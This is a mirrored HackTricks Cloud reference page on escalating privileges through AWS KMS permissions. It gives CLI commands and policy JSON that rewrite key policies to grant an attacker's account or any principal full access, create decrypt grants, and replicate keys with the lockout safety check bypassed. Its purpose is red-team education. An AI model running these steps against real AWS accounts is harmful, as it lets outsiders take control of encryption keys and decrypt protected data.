mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-06 17:53:37 -08:00
155 lines
6.2 KiB
Markdown
155 lines
6.2 KiB
Markdown
# AWS - KMS Privesc
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## KMS
|
||
|
||
For more info about KMS check:
|
||
|
||
{% content-ref url="../aws-services/aws-kms-enum.md" %}
|
||
[aws-kms-enum.md](../aws-services/aws-kms-enum.md)
|
||
{% endcontent-ref %}
|
||
|
||
### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
|
||
|
||
With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
aws kms list-keys
|
||
aws kms list-key-policies --key-id <id> # Although only 1 max per key
|
||
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
|
||
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
|
||
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
|
||
```
|
||
{% endcode %}
|
||
|
||
policy.json:
|
||
|
||
```json
|
||
{
|
||
"Version" : "2012-10-17",
|
||
"Id" : "key-consolepolicy-3",
|
||
"Statement" : [
|
||
{
|
||
"Sid" : "Enable IAM User Permissions",
|
||
"Effect" : "Allow",
|
||
"Principal" : {
|
||
"AWS" : "arn:aws:iam::<origin_account>:root"
|
||
},
|
||
"Action" : "kms:*",
|
||
"Resource" : "*"
|
||
},
|
||
{
|
||
"Sid" : "Allow all use",
|
||
"Effect" : "Allow",
|
||
"Principal" : {
|
||
"AWS" : "arn:aws:iam::<attackers_account>:root"
|
||
},
|
||
"Action" : [ "kms:*" ],
|
||
"Resource" : "*"
|
||
}
|
||
]
|
||
}
|
||
```
|
||
|
||
### `kms:CreateGrant`
|
||
|
||
It **allows a principal to use a KMS key:**
|
||
|
||
```bash
|
||
aws kms create-grant \
|
||
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
|
||
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
|
||
--operations Decrypt
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||
{% endhint %}
|
||
|
||
{% hint style="warning" %}
|
||
Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\
|
||
However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\
|
||
For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
|
||
{% endhint %}
|
||
|
||
```bash
|
||
# Use the grant token in a request
|
||
aws kms generate-data-key \
|
||
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
|
||
–-key-spec AES_256 \
|
||
--grant-tokens $token
|
||
```
|
||
|
||
Note that it's possible to list grant of keys with:
|
||
|
||
```bash
|
||
aws kms list-grants --key-id <value>
|
||
```
|
||
|
||
### `kms:CreateKey`, `kms:ReplicateKey`
|
||
|
||
With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy.
|
||
|
||
So, an attacker could abuse this to obtain privesc his access to the key and use it
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
|
||
|
||
{
|
||
"Version": "2012-10-17",
|
||
"Id": "key-consolepolicy-3",
|
||
"Statement": [
|
||
{
|
||
"Sid": "Enable IAM User Permissions",
|
||
"Effect": "Allow",
|
||
"Principal": {
|
||
"AWS": "*"
|
||
},
|
||
"Action": "kms:*",
|
||
"Resource": "*"
|
||
}
|
||
]
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
### `kms:Decrypt`
|
||
|
||
This permission allows to use a key to decrypt some information.\
|
||
For more information check:
|
||
|
||
{% content-ref url="../aws-post-exploitation/aws-kms-post-exploitation.md" %}
|
||
[aws-kms-post-exploitation.md](../aws-post-exploitation/aws-kms-post-exploitation.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|